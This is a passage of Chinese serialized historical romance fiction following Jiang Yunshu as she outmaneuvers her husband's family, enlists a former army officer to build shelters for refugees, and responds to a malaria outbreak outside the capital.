“呵,有人眼瞎心盲,别人捧着真心对他,他却视为糟粕,殊不知,他自己才是那推粪的屎壳郎!” 说完,不等沈清安回应,拉着姜云舒就往外走。 沈清安尚未出口的话卡在嗓子眼里,他明明应该生气的,可脑子里不受控制地回荡着姜云舒刚才的话,生生将那股腾起的怒意强行压制下来。 原以为,他对姜云舒只有嫌恶,毕竟如她那般高高在上的高门嫡女,任性自私,尤其他在外办差,她定然会压制母亲和弟弟,以她为尊,从未想过,她竟会为了他的家人做到如此。 心中某一处柔软像是被刺激,沈清安突然生出一种莫名又复杂的情绪,这让他有些慌乱。 回城马车上。 闵青鸢小心翼翼瞧着姜云舒的表情,原以为她会委屈难过,一如回京刚见面时,几乎要哭出来,可马车都行出一里路了,她只蹙着眉似是在思量什么,眉眼之间却没有任何伤心。 “阿舒,你……当真为了沈家那老夫人跪了两千多台阶?”闵青鸢忍不住开口。 姜云舒冷不丁被打算,楞了一下,随即挑眉轻笑。 “你觉得,我会是那种以苛待自己为代价,供奉他人的人?” 闵青鸢摇摇头,她自然不是,毕竟是战场上生杀予夺之人,即便为了生身的爹娘,她的理智也过多冲动,拜佛固然要心诚,但佛祖若要以鲜血淋漓为代价才可消除灾祸,那便没有普度众生可言。 “我当时的确受伤了,不过是为了救九公主,那时我收到定国将军府出事的消息,便想以此换取信阳侯府的人脉,原本,还是有些收获的,可爹……” 姜云舒未说完,沉沉地叹一口气。 当时,因为对九公主的救命之恩,信阳侯答应帮姜云舒在朝中帮定国将军府斡旋,可尚未来得及部署,姜兆霖的亲笔书信便送到了御书房。 父亲自始至终都未开口辩解,信阳侯亦无能为力。 “既如此,你让沈家兄弟三步一跪上山,可是有什么目的?”闵青鸢问。 她知道姜云舒不是吃亏的脾气,但一般情况下的有仇必报都是即时的,如今日这般提前谋划,其目的定然不是眼前所见。 “我离开沈家是迟早的事,届时我总要有所依仗,锦州这批灾民便是我与皇上交易的筹码。”姜云舒朝闵青鸢勾了勾唇角。 救六皇子一命,换来了休夫的圣旨,若能安置这批灾民,她才好再向皇帝开口。 傍晚,沈府。 沈清安与沈清睿是被抬回来的,上药时,那钻心的喊声哭天怆地,听起来比老夫人还要命。 老夫人坐在前厅,心疼儿子还不敢凑近看,俩人每喊一声,她便忍不住心口一抽抽。 高芝兰和沈长元更是缩在角落,身子跟着一颤一颤的。 许是这刺激太强烈,老夫人终究忍不住,看向姜云舒。 记住本站: “云舒啊,你当年用了什么药啊,也没见你疼成这样啊。”老夫人声音都打着颤。 她知道姜云舒手里有去腐生肌的神仙药,此刻开口便是提醒姜云舒拿药给沈清安兄弟。 然而,这话一出,月禾当时就炸了。 “哟,老夫人这意思,我家小姐的膝盖是铁做的吗,同样是两千七百多台阶,沈大人和二公子跪了便要死要活,我家小姐没事?” “当时您听不着痛呼声,那是因为我家小姐怕惊扰了您,死撑着不发出声音,可您该不会没见过她膝盖上的伤吧?” “怎么,非得在您面前要死要活地表现一翻,让您真切见了血,您才能瞧见孝心?” 月禾说话如连珠炮,噼里啪啦炸了一屋子,连老夫人带沈清安兄弟,包括躲在角落里的高芝兰母子,一个都没放过。 月禾几句话说完,沈清安和沈清睿都不好意思喊疼了。 他们有什么脸面喊呢? “云舒,你这些年,辛苦了。”沈清安惨白着脸开口。 “嗯,是很辛苦。”姜云舒应一声。 沈清安:“……” 一句话,让姜云舒把天聊死了。 气氛一时有些尴尬,老夫人看看沈清安又看看姜云舒,伸手往大腿上一拍。 “哎哟,我不是那个意思。你如何照顾我,我自是清楚的,可我记得你说你母家有军中用的金疮药,效果奇佳,这不是想着问问还有没有,也给大郎和二郎用上。” 她一边说着,观察着姜云舒的脸色,见她神情未有变化,又接着说:“如今城外灾民形势严峻,保不齐皇上还要对大郎委以重任,他可万万不能误了国家大事。” 不得不说,老夫人向来是会抓重点的。 她知道将军府的家教是以守护百姓为己任,姜云舒自不能让沈清安耽误政事,索性把事情扩大了说。 若是从前,姜云舒当然会毫不吝啬地倾其所有,可见过了这家人的黑心烂肠,她拿出一粒米,得让他们用一锭金来换。 “老夫人也知道,我母家遭难,便是我要用,也得寻了门路找人买。” 姜云舒一脸为难叹口气,“那毕竟是军中用药,岂能随意买卖?便是找了门路,亦背着风险。” 军营用药配方原属保密,军法之中亦有明文规定不可买卖。 “这……” 老夫人皱起眉头,思量之间,目光触及一旁的高芝兰母子。 “我,我出钱买!”高芝兰紧忙开口,“不管多少银子,我都出!” 这也算是为沈长元犯的错负责了。 沈清安疼得额头青筋暴起,咬牙忍着痛看向姜云舒,“我知道你能弄到药。” 记住本站: 第66章 用他的银子办自己的事 姜云舒眯了眯眼睛,淡然开口,“若是没记错,如今兵部武选司赵令海,原是定国军都护,此人善战好斗,曾在定国军时,军中各类金疮药他营中便应有尽有,想来,他那里应该还有存药。” 老夫人当即眸光一闪,“你有办法从他那里弄到药?” 沈清安虽在朝为官,但毕竟多年不在京中,人脉有限,尤其那赵令海是定国军旧部,姜云舒的面子更大些。 “我或许可以试试。”姜云舒应声,然而,还不等他们高兴,又道:“我听说赵令海近日苦于练兵无场地,若是大人能割爱将城北那片地送给赵大人做练武场,这药便是不用开口,他自会派人送过来。” “那可是百亩良田,你让我送给他?”沈清安猛然抬起头,激动之下,扯动腿,钻心的疼让他的五官迅速扭曲在一起。 “我只是给大人一个建议,毕竟,定国将军府的药在京城可不是能拿到明面上的,总得投其所好才是。” 姜云舒不紧不慢地抿了一口茶水,又加了一句,“更何况,当初这赵大人是被开除出定国军才投靠的兵部尚书,我在他面前,确实没什么面子。” 后面这句说完,沈家人再次陷入了沉默。 大家不说话,姜云舒慢条斯理地喝着茶,也不着急,待朱大夫手中红色的药液擦在他膝盖上,一声凄厉的惨叫再次响起。 “啊——姜,姜云舒,你拿了地契,尽快去赵府!” 短短几句话,沈清安说得一句三颤,额间青筋努着,太阳穴鼓着,显然是痛苦到了极限。 姜云舒这才放下杯盏,应一声“好”。 她起身往外走,唇畔勾起一抹讽刺。 本就是坑不住疼的文人,也不知在咬牙硬抗什么。 姜云舒向来办事利落,当时便取了地契直奔赵府。 马车上,月禾瞧着姜云舒满脸惬意的表情,似是不解。 “小姐,您之前不是想用沈家那片田地种植草药吗,怎的要送给那赵大人?更何况,赵令海当年被赶出定国军时不服,咱们又何苦去这一趟找不痛快?” 姜云舒看向月禾,发愁,但无奈。 “你呀,没事还是要多读书,尤其是兵法。” 姜云舒倚在软垫上,耐心解释,“将那赵令海赶出定国军的是他当年的顶头上司,又不是我赶的,更何况,你忘了他可是因为赌才被踢出定国军,而这赌的根源,便是银钱。” 她低头抿了一口茶,又道:“我还知道,这赵令海赌色全沾,最近还江城的百花楼为花魁赎了身,偏偏他家夫人凶悍无比,你猜,他将这花魁带回京城要如何安置?” “自然是养在外室最为稳妥。”月禾想都没想。 姜云舒点点头,又从腰间拿出一份房屋地契。 “这是我在城南春尾巷的宅子,城南与城北的赵府在京城位置对立极端,且这一处宅院幽静少人,你说,我若将这两份地契送到赵令海面前,他会选择哪个?” “啊,我懂了!” 月禾恍然大悟。 练兵场毕竟是军中之事,自有上级官员权衡安排,而安置外室,那可是他自己的事,赵令海这般嗜赌好色之人,自然先考虑自身了。 姜云舒是在赌场找到赵令海的。 果真如姜云舒所料,赵令海想都想没想便选了春尾巷的宅子。 “我虽因被赶出定国军而心生怨怼,但我这人向来是非分明,是郭德庆给我下套,与将军府无关,便是如今老将军遭了难,他在我心中,依旧是英雄!” 记住本站: 赵令海心头大事解决,看起来也没那么凶了。 “赵大人大义。”姜云舒朝他抱了抱拳,眼神却带着些许犹豫。 赵令海向来直接,不等姜云舒开口,主动问,“可是还有什么难事?” “倒是有件事,不知道会不会让赵大人为难。” 姜云舒似是思量片刻,终于下定决定,“城外灾民聚集,想来赵大人也知道,刚好我在城外有一片林子,我想着,若是能将林子伐了,刚好在原地用木料盖了房子,好让灾民有个暂时的居所,只是……” 她抬头看赵令海一眼,“我如今人手不够,若是能借用赵大人手下兵力,或许能在皇上回宫之前完工。” 待皇上回宫,赵令海还能捡个安置灾民的苦劳。 这送到手的功劳,傻子才不要。 “这有什么,我派出百十工兵伐木建房,就当日常训练了!”赵令海当即大手一挥。 “那便多谢赵大人了。”姜云舒顿时欣喜。 月禾不失时机将准备好的五百两银票递到了赵令海跟前。 “毕竟辛苦一场,这是请军中兄弟们喝酒暖身的。”姜云舒将银子推了过去。 “哎哟,你这真真是太客气了,既是给兄弟们,那我便不客气了,日后夫人有什么用得着的,尽管开口!”赵令海更是笑得眼睛都眯成了一条缝。 姜云舒更开心,毕竟,就连那五百两也是从沈清安手里抠出来的,美名其曰,求人办事,先得能进了赵府的门,这银子便是入门费。 沈清安自是没有怀疑就给了钱,但他不知道,姜云舒是直接去了赌场找人。 姜云舒离开时,赵令海给了她两瓶金疮药。 “我这里还有几十瓶,都是我当年离开北域时,从老军医那里要来的,姑娘日后用得着,只管来找我要。”赵令海倒是挺大方。 “多谢。”姜云舒将药收起来,告辞离开。 一边往回走着,月禾忍不住嘟哝。 “好家伙,他是个老鼠吧,这么能囤!不过,他不知道,这金疮药已经是老方子了,如今小姐改良的八宝活络散效果可是更强。” 她瞧着怀里的金疮药,“啧”了一声,“便是如此,这药用在沈清安身上也是浪费,若非这药是粉状,我定要往里掺些狗尿才解气!” 姜云舒:“……” 还别说,这事儿月禾真干得出来。 事情顺利,姜云舒用一座空宅换了百亩良田,还顺手解决了灾民安置之事,也算是空手套白狼。 她心情不错,回去路上,还跟月禾商量着回去便开了庭院树下的那瓶梨花酒。 沈府。 姜云舒刚下马车,子固便迎了上来。 “夫人,您可回来了,大人这腿伤实在厉害,正等着您的药止痛呢!”子固一脸焦急。 记住本站: 第67章 上门找虐 “不就是个破皮的外伤,至于这般大惊小怪的嘛,那战场上,别说这般轻伤,便是伤口翻出白肉,伤筋断了骨,也没他这般夸张的。”月禾翻了翻白眼,一脸不屑。 她十二岁的时候,跟随小姐上战场,肩膀被箭穿了都能硬扛着继续战斗,果然啊,这沈清安就是个没用的绣花枕头。 “话不能这样说啊。” 子固刚想反驳,抬头见月禾瞪他,到了嘴边的话愣是憋了回去,转而道:“大人等不及,如今正在揽芳院等着。” “你说什么?”姜云舒骤然停下脚步,脸色突然沉了下来,“谁让你们将他抬去揽芳院的!” 如今药已经拿回来了,交给朱大夫给他上药便可,难不成还要她亲自伺候? 他想得倒是挺美! “啊?”子固一时没反应过来,眨眨眼睛,满脸疑惑,“大人去揽芳院,可是有何不妥么?” 子固这一脸天真不解的神情,倒是将姜云舒问住了。 这沈府后院,都是沈清安的家眷,若是别家,家主进谁的院子,那院里得点灯迎接,断然没有不让进的。 姜云舒难得憋闷。 “先回去再说。” 她冷冷回了一句,抬脚朝揽芳院走。 此刻,沈清安正躺在揽芳院的软塌上,他半闭着眼睛,脸色惨白,两条腿搭在软塌一侧的扶手上。 明明伤口已经处理过,他却依旧如同要死一般,哀嚎呻吟。 “大人,姜夫人回来了!”子固在门外便扯着嗓子往里喊。 沈清安闻言扭头,正好瞧见姜云舒进了屋。 “云舒,你回来了!”沈清安仿佛瞧见救星一般,那表情凄惨又可怜。 “嗯。” 姜云舒不咸不淡地应了一句,将药放在桌上,“药已经要回来了,我让人去请了朱大夫,他马上就到。” “不用请朱大夫,你不是也懂得伤口处理和包扎吗,我想让你帮我。”他看向姜云舒,可怜兮兮。 可怜个蛋! 姜云舒恨不得一巴掌给他脸打歪。 “你知道,我即便懂得处理伤口,也都是跟军医学的,战场之上,伤口处理通常简单粗暴,军医眼中,伤员或可比牲畜,你确定让我给你换药?” 这话说得沈清安太阳穴直颤。 拿人……当牲畜啊…… 他的确害怕,可一想,既然来了,就这么灰溜溜地走,面子上过不去。 更何况,他原本还打算借着这次受伤不便的机会,能与姜云舒之间的关系缓和一些。 月余之间的相处,他诧异地发觉,即便姜云舒并不温婉柔和,可也并不让人排斥,反而让他莫名生出一种,将她留在身边还不错的想法。 尤其,姜云舒如今在城门口所做,的确对他仕途有利。 犹豫片刻,他点点头,“我相信你。” “那行吧。” 姜云舒也累了,想着赶紧换完药让他回去。 见她同意,沈清安顿时面露喜色,谁知起身时稍稍用力,扯痛伤口,忍不住“嘶哈”一声。 月禾瞥了他一眼,面上表情微妙地闪过一丝嫌弃,随即转身往外走。 沈清安瞧着月禾出去,转向姜云舒,“云舒,我知道你这些年辛苦,以后我会好好对你。” 姜云舒正擦药,一个不防被他拽住了手,当即动作一滞。 “放开。”姜云舒冷淡开口,怒意逐渐腾升。 如今的沈清安,尤其是查到他可能与定国将军府通敌一案有关,哪怕是被他碰到,姜云舒都感觉刺挠。 怒意自脊背攀爬上来,沈清安丝毫未有差距,只看姜云舒面色平静,便当她没有生气,抓着她袖子的手顺着她的胳膊往上。 “云舒,我……” 话还没说完,银针自他眼前闪过,不等反应,直接落在了他的腿上。 “啊——” 沈清安的惨叫声从屋内冲出,听得院外众人冷不丁一哆嗦。 这声音听起来嗓子都带撕扯感,得多疼啊! 子固在外面站着,沈清安喊一嗓子,他就扯一下嘴角。 一炷香后,姜云舒自屋内出来,一边往外走,略显嫌弃地拍打着裙摆,似是沾了什么脏东西。 子固紧忙迎上去,“姜夫人,大人他……” “已经上好药重新包扎了伤口,带他回去,休息个两三日便可下床走动,并无大碍。”姜云舒说得风轻云淡。 两千多个台阶而已,看起来血肉模糊,充其量也不过皮肉伤,并未伤筋动骨。 子固瞧着她,眼皮猛地颤了几颤。 都疼得嗓子喊破音了,还叫“无大碍”? 更何况,作为枕边人,她难道不应该在床畔照顾着?怎的还要将大人挪走? “姜夫人,如今大人行动不便,或许留在揽芳院更为妥当。”子固小心翼翼开口。 姜云舒侧眸看他,眸光之中审视一闪而过。 这可就奇了怪了,在姜云舒看来,沈清安与高芝兰可是鹣鲽情深,且不说沈清安处处护着高芝兰母子,高芝兰更是一心为沈清安仕途铺路,哪怕自己委屈流落在外,也要成全沈清安向上攀附的野心。 如今他受伤卧床,沈清安应该在高芝兰院子里养着,由她悉心呵护照料才对,如何要来她的揽芳院? 姜云舒一时猜不透沈清安这葫芦里卖的什么药,也不想费那个心思去猜,毕竟,脏了的人,她如今多看一眼也嫌恶。 “如今城外灾民数量日渐增多,我需兼顾粥棚,沈大人在我院子里养伤,总有看顾不到的时候,高夫人细心周全,送去流芳院更为妥当。” 清冷的声音出口,不等子固再说话,姜云舒朝院子里几个做事的妈妈摆摆手,“将沈大人抬去流芳院吧。” “是!” 妈妈们应声进了屋,压根不给子固反应的时间,直接将沈清安抬了出来。 子固紧忙跟上去,正要说话,结果一低头就见沈清安眼睛闭着,一张脸惨白惨白的,若非胸腔尚有起伏,还以为这人死了人。 “这……”他一哆嗦。 “晕过去了。”姜云舒一边喝着茶,见子固见了鬼似的表情,又加了一句,“我都提醒你家大人了,我处理伤口动作粗鲁些,他非不信呢。” 子固:“……” 听刚才那动静,的确很粗鲁。 大人可真是受苦了。 这边沈清安刚被众人抬出揽芳院,后脚月禾便一脸严肃地进来。 月禾神色紧张,她是跑回来的,进门快速喘了几下才开口。 “小姐,东城外灾民营出现了疫病。” 第68章 收拢人心 “疟疾……” 姜云舒眉心蹙起,此时天气转暖,蚊虫逐渐增多,控制起来尤为麻烦。 “你先去仁春堂,将库房里的防护用品交给裴钰,让他送去太医院,另外,让韩掌柜带着医馆的大夫去城门配合。”她吩咐。 如今疫病出现,城门对于灾民的救治和安置便是朝中势力的较量,仁春堂一个药铺医馆,此时做的已经不再是施舍善意这般简单了,与其被各方势力拉扯,姜云舒选择中立,只配合太医院。 “是!” 月禾应声,急匆匆出了门。 姜云舒坐下正准备喝茶,似是又想起什么,朝白芷吩咐一声,“去叫郭攀进来。” 郭攀在家侍奉老母亲病愈之后,又回到了沈家,因为犯错,此时便被姜云舒安排在了门仆的位置。 之前姜云舒将沈家仆人调回了庄子上,沈家正是缺人的时候,老夫人便也没说什么。 须臾功夫,郭攀便到了,上前先给姜云舒行礼。 “见过夫人。” “不必多礼。” 姜云舒抬抬手,让他进屋,关上门,这才开口,“近日你帮我盯住沈大人身边子固的动向。” 郭攀不明白,但姜云舒让他盯着,他便照做。 “是,小的哪怕拼了命,也一定给您盯住了!”郭攀应声。 “不用拼命,若察觉不对劲,以自身安全为重。” 姜云舒说着话,抬手将一个包裹递给郭攀,“有空的时候,给你大哥送过去,应该能用得着。” 郭朝为城门卫,是与灾民直接接触的,防护尤为重要,姜云舒管不了那么多守卫,管身边的人还是可以的。 “多谢夫人。”郭攀接了东西,转身往外走。 安排完府里的事,姜云舒稍作收拾,换了一身行头也出了门。 只几日没来,此刻东城之外已是唉叹声一片,疟疾发病迅速,未得到救治的情况下,三日便可要了性命。 此时,不少老弱被传染,原本消瘦的面上又添一层惨白,仿佛死气在逐渐笼罩。 为了保证疫病被拦截在城门之外,东城门已经全部封锁,寻常百姓只能出城不得进城。 姜云舒看着满地残喘的百姓,脑子里不自觉闪过年幼时北域边境那场水患过后,因疫病尸横遍野的惨状。 天灾面前,人的生命太脆弱了。 “小姐!” 这时,月禾的声音自身后传来。 “赵令海大人派人送了消息过来,清风林那边建造初步完成,可用于暂时安置部分灾民。” 一路跑到跟前,她猛地喘了一口气。 姜云舒眸光一闪,原本阴骛的神情稍稍散了几分。 到底是军队速度,竟比姜云舒预想之中更快。 “走,我们去看看。” 姜云舒与月禾到时,赵令海正指挥着手下士兵砍了艾草往林子里运。 清风林伐木造房,十日之内,共做了一百多间房屋,数量不算多,但也足以安置城外灾民。 “嘿,姑娘来得正是时候!”赵令海见姜云舒来,朝她招招手,“你来看看新建造的屋子,你看成,我便让兄弟们将灾民引过来。” 进林子时,姜云舒一路看过来,临时搭建的房屋虽不及府邸宅院那般精致细腻,对于灾民来说,能有一处庇佑之所以遮风挡雨已是万幸。 “早就听兄长称赞赵大人做事利落得当,如今看来,所言自是不虚,尤其这么短的时间做到如此,我替百姓感谢赵大人!” “大公子当真是这样说得?”赵令海大大咧咧的表情之中竟有些不好意思。 瞧着他这表情,姜云舒唇畔微微勾起。 果然,赵令海这人虽吃喝票赌坏习惯一身,但对于定国将军府,他并未有怨恨,甚至,对于父亲和兄长还有崇拜之意。 如此,甚好。 “我自然是从父亲和兄长口中听过赵大人的英勇事迹,否则,我又如何在遇到麻烦时去找赵大人呢。”姜云舒说着恭维的话,面上却尽是真诚。 赵令海黝黑的面上竟浮现隐约的红晕。 “嗨,是我当年糊涂,否则,如今也……” 话说一半,他突然停住。 如今?定国将军府已经散了,将军一家除了姜云舒都被流放,倒是让人唏嘘。 “罢了,不提以前,不过说起来我与姑娘也是有些缘分的,姑娘今日之举大义,亦有大将军风采,你只管开口,赵某义不容辞。”赵令海朝姜云舒抱了抱拳头。 且不说什么风采,姜云舒此番作为,定然有论功行赏的份儿,他参与其中,也能沾上这功劳,只出点力的事情,赵令海自然愿意。 “如此,便再劳烦赵大人将灾民转移到清风林吧。”姜云舒也不推辞。 赵令海一声号令,带着队伍浩浩汤汤出了林子。 姜云舒先让人划分出距离房屋片区边缘的十几间房子用于患者统筹治疗,另外安排众人将艾草成捆挂于各房子四周,随后,围着房子外挖一条沟渠,将仁春堂带来的白芷和苍术在沟渠内点燃以驱逐蚊虫。 灾民原先看到大部队过来,还以为要驱逐他们,自是惧怕不已,如今看到一大片的新房子,皆是难以置信地瞪大了眼睛。 “草民叩谢军爷大人!” 灾民之中不知是谁先起的头,纷纷跪地朝着赵令海磕头谢恩。 赵令海有些不好意思地挠了挠头,朝百姓摆摆手,“别谢我,我也是受人所托,你们要谢就谢这位。” 他找姜云舒指了指。 众人抬头看向姜云舒,有眼尖的一下子认出来,大声惊呼。 “就是她!那位在城门口施粥的女菩萨,城守不让咱们进城,是她派人将米粥送出来!” “是这位夫人,当时我娘生病,还是她派人送了药出来!” 有人立马应和。 这些灾民是被拦在城门外的那些,虽每日有粮食领取,大多也以为是朝廷给的,如今听说另有其人,不光给他们粮食,如今又建了房子收留他们,一时间,看向姜云舒的眼神如同瞻望菩萨般,满怀感激。 “多谢夫人救命之恩。” “夫人救苦救难,菩萨心肠,请受我们一拜!” 说着,众人又朝着姜云舒的方向拜了起来。 姜云舒摆摆手,依旧拦不住大家的感激之情,裴钰站在旁边看着她的侧脸,恍惚间,似是看到了她身披战袍的样子。 那年,她救下那一城的百姓时,也是被百姓这样膜拜感恩的吧。 第69章 清风村 “大家无需多礼。” 姜云舒朝众人摆摆手,“这处林子名叫清风林,如今大家暂住于此,我暂且称之为清风村,清风村房屋一百六十五间,但目前人数有五百多人,多数房子需要几家合住。” 她看向众人,眼神沉着冷清,又透着一股不容人置喙的果决。 “人多秩序便会乱,我需要在大家之间选一位村长,和数名胁从管理者。” 如今开春,万物复苏,与其等着朝廷提供吃喝安置,不如用自己的双手饱腹,毕竟,都到了皇城脚下,难不成还没有他们的活路不成? 众人饥一顿饱一顿的等着粮食救济的日子的确难捱,如今听姜云舒这样说,自是十分积极,不一会儿,人群之中便选出了一位村长和十位管理者。 选出的村长名叫郭长友,之前也是他一路带着这里大部分的村民来到京城,若非是他一直顾着老弱,城外粮食哄抢的情况,甚至比城内还要严重。 那十位管理者也皆是在这趟长途跋涉中,维护和照顾老弱的壮士,不仅有正义感,身手也不错。 姜云舒当众任命这几个人的职务,同时安排人将分拨给清风村的粮食和各户的工具送了过来。 清风林原本树林茂密,植被茂盛,土地自是肥沃,如今开春,正是耕种的季节,他们要吃喝过日子,总得自己动手。 姜云舒有条不紊的安排着,赵令海便在一旁看着,忍不住啧啧点头。 他离开定国将军府那年,姜云舒年纪还小,知道将军和夫人将她当眼珠子一般疼着,本以为她不过是个娇弱的千金小姐,如今看来,倒是他眼界低了。 此刻清风村正在安置,却见清风村入口,一行人匆匆过来,其中走在最前面的,竟是沈清安。 而跟在他后面的,便是协助灾民安置的几位官员。 就是这些人,日日奔波在外,日日在议政厅汇报工作,可半月已过,灾民除了能吃饱,其他并未得到解决。 这样的办事效率,若放在北域,他们早已不知被打了多少顿板子。 “云舒!”沈清安远远的喊了姜云舒一声。 姜云舒不自觉蹙了蹙眉,她没有应,沈清安带人已经到了跟前。 “灾民可都接了过来?”沈清安到跟前,直接开口。 这话听起来,仿佛是他安排姜云舒将灾民接来这里,一句话,便将与他毫无干系的功劳揽在了自己身上。 赵令海是帮姜云舒伐林建房子,其中他们夫妻之间有什么商议,他也不知道,但夫妻一体,总也没觉出错处。 倒是月禾闻言脸都拧了,当即转身就要跟沈清安理论,却被姜云舒伸手拽住了手臂。 “沈大人如何带众位大人来我这里?” 她面色不改,只是言语之间疏离之意再明显不过。 而一句“我这里”,众人也从中听出了一丝不对劲。 姜云舒虽未直接揭穿,但沈清安面上依旧有尴尬闪过,他扯了扯嘴角,勉强维持笑容。 “我听说你这边房屋建成,想着灾民都过来,物资应是不够的,你且将人数统计好,随后我便批文,派人将粮食和物资送过来。” 说话的功夫,跟在沈清安身后的官员也走了过来。 眼见着几百的百姓都从城门口转移到了这里,他们总算是种种地松了一口气。 再看正片的新房屋,一时间,众人忍不住赞叹。 “到底是沈大人考虑周到,如今灾民转移,城门口也没了压力。” “是啊,沈大人有如此方法,何不早说?前几日,我等可是愁得夜不能寐。” 沈清安被众人夸得面露得意,不过当着姜云舒的面儿,倒也没得意忘形。 “都是我家夫人考虑周全,而且,伐木建房也需要些时日。” 他一边说,笑着看向姜云舒。 那眼神,似是在求姜云舒不要当面拆穿他。 姜云舒也的确没有拆穿他的意思,只朝众人点点头,并未做解释。 沈清安和这几位官员的任务本就是安置灾民,如今姜云舒把灾民接到了这里,还建了房屋,自是帮他们解决了大部分的压力。 姜云舒当然明白沈清安想揽功的心理,但林子在她名下,清风村是她建立,沈清安想要揽功,也没那么容易。 倒是朝廷拨款的粮食和物资,她接了,也是辅助朝廷,与他沈清安没有关系。 “好,我让人统计一下清风村的人数,晚些时候给你送过去。”姜云舒应道。 沈清安闻言似是松了一口气,“好,真是辛苦你了。” 他一副体贴的模样。 说完,带着众位官员四处查看。 待他们一走,月禾忍不住啐了一口。 “清风村跟他有什么关系,巴巴跑来这里揽功,真是臭不要脸!” 裴钰倒没跟着一起骂,只侧目看向姜云舒,“可知道这沈清安为何突然出现在此?” 姜云舒眉梢轻挑,视线看向沈清安众人所在的方向,“疫病出现,皇上提前回宫,沈清安也去了乾阳门迎接。” 之前除了粥棚,沈清安未有任何动作,虽说疟疾虽是蚊虫传染,此刻亲自过来也极有风险,这足以说明,是有原因驱使他不顾危险过来的。 “啧!” 裴钰忍不住咋舌,“太聪明的人一点都不可爱!” “如此来看,沈清安在众人面前将清风村归于他,之后也必定会向皇上邀功,届时趁机提及为那高氏正名分……哎呀,想想就气,我这就去强行破了他那狗屁的阵法,闯了他的书房,总能找到有用的证据!” 之前冥风查到的线索,足以确定沈清安身上藏着秘密,在月禾看来,只要闯进那密室,肯定会找到证据。 月禾说着就要走,却被姜云舒一拉拽了回来。 “急什么,他便是趁机揽了功劳,也不会在这个时候为高芝兰争名分。” “为何?”月禾没明白。 裴钰瞧着月禾,又是无奈地叹一口气,“所有人都看到是姜云舒在安置灾民,这功劳自然是姜云舒的,方才沈清安当着其他官员的面厚脸皮往这功劳上沾,他若转头在皇上面前为那高氏争名分,岂不是打自己的脸?说不定,之后他还得扒着姜云舒呢。” 说着,他朝姜云舒瞄一眼,“想来沈家自是一出好戏,要不要我陪你回去?” “相比看戏,你还有更重要的事要做。”姜云舒挑眉,随即压低声音,“你帮我调查渊政王府这一路的行径。” 那个人,就要进京了。 第70章 渊政王府进京 提及谢无烬,裴钰顿时来了兴趣。 “怎么,紧张了?放心吧,还有我呢。”他挑眉,笑得一脸心眼子,“等你休了那沈清安,嫁入我国公府,纵使谢无烬是个活阎王,我也保证不让他动你分毫,怎么样,考虑考虑?” 就算那是活阎王,可这里终究是京城,他还敢在天子脚下翻起什么浪来。 姜云舒无语地赏给他一个白眼,“儿时拔夫子的胡子时,你都躲在我身后,如今面对双手染血的杀神,你不得蹿到树上去!” 论武功,裴钰不是她的对手,要论逃跑,他们这一波长起来的孩子里,没人能跑得过裴钰。 “嘁,你这是偏见。”裴钰梗了梗脖子,“哪怕是跑,我也会给你去搬救兵!” 嗯,跑还是要跑的,但咱跑得有价值。 “那我可谢谢你啊!”姜云舒撇嘴。 一个时辰后。 回到沈府时,沈清安的马车还没回来,姜云舒正准备往里走,就见郭攀急匆匆迎了过来。 “姜夫人,今日小人跟随子固,见他去了太师府。”郭攀装作送踏凳过来,说话的功夫压低声音。 姜云舒眸光微沉,眼底快速闪过异色。 当今皇后的娘家便是太师府,若太师扳倒定国将军府是为了帮三皇子巩固势力,必要性并不大,毕竟,父亲早年已表明态度,定国将军府不会参与党争,而且,定国将军府镇守边境,于京城局势鞭长莫及。 姜云舒想不明白太师对定国将军府出手的动机。 “辛苦你继续盯着子固。”姜云舒踩着踏凳下了马车,跟郭攀吩咐。 “是!”郭攀应一声,带着踏凳回去。 姜云舒和月禾往院内走,一边走着,姜云舒蹙眉思量,可如今所掌握的线索来看,仿佛让事情变得更加复杂了。 月禾见她拧着眉头,忍不住开口,“要不,咱们去恭王府问问,或许少夫人能知道什么。” 姜云舒忽的停住脚步,是啊,恭王或许更清楚朝中局势,或许能从青鸢姐姐那里得到线索。 “聪明!” 她伸手在月禾鼻尖上点了一下,转身往外走。 两人走得急,没等着马夫装好马车便直接牵了马往外走,本想着从繁荣街直抄近路到恭王府,却不想,此刻繁荣街被堵了个水泄不通。 “前面什么事啊?如何围成这般?”月禾抓了个人过来问。 路人扭头见月禾一身锦缎衣裳,知她定然是富贵人家的丫鬟,紧忙回答。 “说是渊政王府的马车队,那位世子进城了。” 说话间,那路人的脸上还带出一丝莫名的紧张。 都说渊政王府那位世子是活阎王,如今阎王进城,老百姓又紧张又好奇,一时朝马车队的方向涌过去看热闹。 “渊政王府?” 姜云舒下意识朝人群涌动的地方看去,神情阴暗不明。 冥风传来的消息,渊政王府的车队应该是两日后才到,不想今日便到了。 正想着,人群又开始往后退,姜云舒和月禾拉近了缰绳亦跟着往后撤。 待人群分两路散开,就见身披铠甲的侍卫队提前开路过来,后面紧跟着的是两队衣着富丽华贵的仆役丫鬟,再往后,才是那极尽奢华装潢的马车。 初春的天气,风依旧带着寒凉,可这马车的车帘却已换成了轻纱。 马车缓缓行来,姜云舒下意识朝马车之中望去,纱帘遮住车内光景,只看到一个隐约的人影。 姜云舒双眸微微眯起,想看清楚车内那张脸,然而,她所在位置距离稍远,但依稀还是能看到马车之内的那张侧脸,从侧脸判断,与之前那黑衣人的并非同一个人。 不知为何,姜云舒竟有些失望。 正想着,周边围观人群之中,忽然冲出一个身影,直接朝那马车扑了过去。 “啊!” 惊呼的声音落地,那人也跟着摔在了马车前。 是个女人,看穿着,不是普通百姓。 马车停下,侍卫持剑上前,架在了那女人的脖颈之上。 “什么人,竟敢阻拦世子的马车!”侍卫大喝一声。 女人吓得脸都白了,抬头不知看到了什么,整个人浑身一颤,紧接着往地上磕头。 “我,我不是故意的,还请世子恕罪!” 她一边说着话,一边往地上磕头,只刚才那一眼,再不敢抬起头来。 “你是谁?” 马车里传来声音。 那声音很好听,却又透着一股阴寒,让人莫名绷紧了神经。 “我,我叫顾从容,家父是太常寺少卿顾明杰。”顾从容声音颤抖,紧忙解释,“我是被人推出来的,不是有意冒犯,还请世子恕罪。” “被人推出来的?” 马车之内,传来一声冷笑,“该不会是你的家人吧?还刚好推到了本世子的马车前?” 顾从容浑身一僵,似是被吓得浑身颤抖,不知如何接话。 “你爹既然把你当礼物送给本世子,本世子收下便是。” 那声音慵懒又危险,随即又朝一旁侍卫道:“去,将人安置在后面舞姬的马车里。” “是!”侍卫应声,朝顾从容走来。 顾从容吓坏了,在被侍卫拉起来的瞬间,才回过神来,挣扎哭着求饶。 “不,不是这样的!世子,这是误会,世子饶命啊——” 